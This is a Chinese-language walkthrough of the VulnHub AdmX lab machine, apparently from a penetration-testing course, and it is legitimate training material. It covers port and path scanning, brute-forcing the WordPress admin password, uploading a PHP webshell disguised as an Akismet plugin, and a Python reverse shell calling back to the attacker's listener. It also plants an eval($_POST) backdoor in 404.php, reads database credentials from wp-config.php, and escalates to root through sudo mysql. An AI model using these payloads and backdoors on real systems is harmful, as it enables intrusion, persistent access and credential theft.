靶機介紹
1)靶機地址:https://download.vulnhub.com/admx/AdmX_new.7z
2)靶機難度:中
3)打靶目標: 取得 2 個 flag + root 權限
4)涉及攻擊方法:主機發現、埠掃描、WEB路徑爆破、BurpSuite內容替換、密碼爆破、MSF漏洞利用、Wordpress后臺漏洞利用、升級Full TTY終端、蟻劍上線、利用MySQL提權
5)課程來源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶程序
1)主機發現:通過nmap -sn ping掃描進行主機發現
# nmap -sn 192.168.56.0/24

2)埠掃描:對主機進行全埠掃描,發現該主機開放的埠
# nmap -p- 192.168.56.111

3)對發現的80埠進行服務版本掃描,發現確實是一個apache httpd服務
# nmap -p80 -sV 192.168.56.111

4)在瀏覽器直接對頁面進行訪問:發現只是一個默認的apache起始頁面,該頁面并沒有發現其他更有價值的資訊
瀏覽器:http://192.168.56.111/

5)對目標靶機進行web路徑發現:本次使用feroxbuster工具(和dirsearch原理一直,但效果不同),默認情況下kali并未安裝該工具
①feroxbuster安裝
# apt install feroxbuster

②對目標主機進行路徑發現
#feroxbuster --url http://192.168.56.111

注:默認情況下feroxbuster使用的字典是seclists,如果沒有安裝seclists字典,需要安裝該字典
#apt install seclists
③除了使用默認的seclists字典外,也可使用其他的字典,如dirb工具下的common.txt字典
# feroxbuster --url http://192.168.56.111 -w /usr/share/dirb/wordlists/common.txt

通過掃描發現了wordpress目錄
6)對如下掃描到的路徑進行訪問
瀏覽器:http://192.168.56.111/wordpress/

①經過了很長時間,一個頁面的內容還沒有完整的加載上來,這個頁面中到底加載了哪些元素,是哪些元素的加載緩慢,導致了整個頁面的加載緩慢,此時通過burp查看整個界面的加載程序

查看到在頁面請求程序中,主頁面又向服務器請求了192.168.158.145上面的一部分資源,因此時主機和該IP不處于同一個地址段,所以192.168.158.145上的資源無法正常請求,導致頁面加載緩慢

7)因192.168.158.145是目標服務端給客戶端回傳的資料包中硬編碼寫入的內容,所以在burp上設定:凡是服務端回傳的資料包中,如果包含192.168.158.145這個就地址,就強制替換為192.168.56.111
①先修改相應資料包的回應頭部分

②再修改相應資料包的相應體部分

③完成之后,重新訪問頁面,頁面加載正常

8)對上述頁面進行測驗后,未發現任何的漏洞,包括wordpress版本漏洞等,根據前面對網站路徑掃描,發現了類似的后臺地址,對其進行訪問
瀏覽器:http://192.168.56.111/wordpress/wp-admin/

9)對該后臺進行密碼暴力破解,先通過搜索發現wordpress該CMS的web應用后臺管理員賬號為admin(面對一個CMS時,先判斷是哪種CMS,搜索該CMS有無默認的管理員賬號)
①暴力破解時,字典使用提前下載好的mimipwds.txt
字典下載地址:https://github.com/dictest/subdic/tree/ddc8b5dc82750093b6763d9d064bb7d99aa1f425
②破解完成后,發現等使用adam14密碼時,頁面回傳了不同的URL

③通過賬號密碼正確登陸至系統后臺

10)wordpress常見提權方式
①media中如果wordpress版本較低,可以直接在其中上傳webshell
②可在Appearance中的Theme Editor的外觀主題的PHP原始碼進行編輯,如可將一句話木馬寫入外觀代碼404.php中,如果運氣好,可直接使用蟻劍連接,此處該方式失敗

③通過查看插件Plugins,或者手動撰寫并,上傳一個插件,
A:撰寫插件:必須要寫插件的頭部資訊
# cat webshell.php
<?php
/**
Plugin Name: Webshell
Plugin URI: https://akismet.com/
Description: wp webshell for Pentest
Version: 1.0
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
B:將該webshell.php打包成zip壓縮包格式
# zip shell.zip webshell.php
# ls shell.zip
C:將shell.zip檔案進行上傳

D:上傳成功后,進行激活引擎

E:訪問上傳的引擎,執行webshell,執行系統命令,發現正常執行
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=id

11)使用上傳的webshell進行反彈shell連接
①先確定目標服務器有無nc命令
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which nc

②本次打靶,使用python進行反彈shell,所以先確定目標主機有無python程式
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=which python3

③python反彈shell代碼
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Kali監聽:
# nc -lvvp 4444
瀏覽器
http://192.168.56.111/wordpress/wp-content/plugins/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

12)通過MSF獲取shell
①啟動MSF
# msfdb run
②查找wordpress后臺相關的漏洞利用模塊

msf6 > search wordpress admin
msf6 >use exploit/unix/webapp/wp_admin_shell_upload
> set PASSWORD adam14
> set RHOSTS 192.168.56.111
> set TARGETURI /wordpress
> set USERNAME admin
> run
13)通過python反彈的shell,無法使用vi等命令對文本檔案進行編輯,此時需要將shell升級成功能完整的、可以實作互動式的shell(此shell升級只適用于BASH)
①先將kali主機的解釋器修改為BASH,先查看當前kali的解釋器是否為BASH,若不是需要修改為BASH
# echo $SHELL
# chsh -s /bin/bash #修改解釋器為BASH
# reboot #修改完成后需要重啟

②將當前shell升級為完整的shell終端
CTRL+Z
#stty raw -echo
#fg
#ls
#export SHELL=/bin/bash
#export TERM=screen
#stty rows 38 columns 116
#reset

14)升級完成后,即可通過vi編輯器,完整的編輯檔案(此處向之前添加為成功的404.php中,寫入一句話木馬)
#cd ./wordpress/wp-content/themes/twentytwentyone
#vi 404.php
eval($_POST['cmd']);

15)通過蟻劍連接webshell


注:滲透測驗程序中,最好應該獲取到目標系統的2-3個shell,防止某些系統觸發某個漏洞獲取到反彈shell后,環境發送了變化,導致無法使用同一個漏洞進行反彈shell,獲取一個shell后,借助該shell獲取到其他shell
16)資訊搜集:在用戶檔案中發現了一個可以登錄的wpadmin賬號,在該用戶家目錄下,獲取到了一個local.txt,但是只有wpadmin用戶具備讀權限,且查看系統內核版本、sudo權限,均不能進行提權
$cat /etc/passwd |grep /bin/bash
$cd /home/wpadmin
$ls -l local.txt
$ uname -a
$ sudo -l

17)資訊搜集:發現了wordpress應用程式的組態檔,通過組態檔查看到了連接資料庫的用戶名和密碼
cat /var/www/html/wordpress/wp-config.php

18)嘗試通過發現的密碼,使用wpadmin用戶去登錄作業系統,發現無法正常登錄成功
$ su wpadmin

19)利用用戶名和密碼直接進行mysql資料庫的登錄,發現仍然無法正常登錄成功
$ mysql -u admin -p Wp_Admin#123 -D wordpress

20)通過之前的資訊搜集,發現在web界面,有一個adam14的密碼,通過該密碼對系統用戶wpadmin進行登錄,發現正確卻換到了用戶wpadmin,獲取到了第一個flag
$ su - wpadmin
$ ls7
$ cat local.txt

21)此時資訊搜集,發現該用戶wpadmin具有sudo權限:不使用密碼的情況下即可使用mysql命令
$ sudo -l

22)通過mysql登錄資料庫,密碼嘗試使用adam14時,正確登錄至資料庫中
$ sudo /usr/bin/mysql -u root -D wordpress -p

23)通過在mysql資料庫中執行system命令(簡寫/!),獲取root權限
> system id
> \! /bin/bash
#cd
#cat proof.txt

總結:先對目標靶機進行了主機發現和埠掃描,掃描程序中只發現了80埠,通過埠訪問到web頁面后未發現其他有用漏洞資訊,于是對web頁面進行了路徑發現,發現目標主機上存在一個wordpress的web應用,然后對其進行訪問,訪問程序中發現頁面訪問速度特別緩慢,所以開始懷疑是否頁面有部分資源請求不到,導致整體的頁面加載速度減慢,于是通過burp抓取了整個頁面請求程序中的請求資訊,于是發現該頁面上通過硬編碼的方式寫死了部分IP地址,于是利用burp的匹配及替換功能,將硬編碼寫死的IP地址修改為了目標主機IP地址,從而解決頁面加載慢的問題,從而可以正常訪問到靶機web應用的后臺地址,進而利用burp的暴力破解功能,獲取到了web后臺的密碼,正確登入至后臺管理界面,在后臺管理界面通過了常見的wordpress后臺漏洞利用方法(三種),最后使用插件的方式上傳了webshell,獲取到了反彈的shell,并利用反彈shell進行更新升級,使其成一個具有互動式功能的完整功能shell,利用完整功能的shell,修改了404.php,使得蟻劍可以正常上線,最后通過mysql資料庫自身具備的system命令進行了提權(目標靶機上的sudo權限配置不當導致)操作,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539332.html
標籤:其他
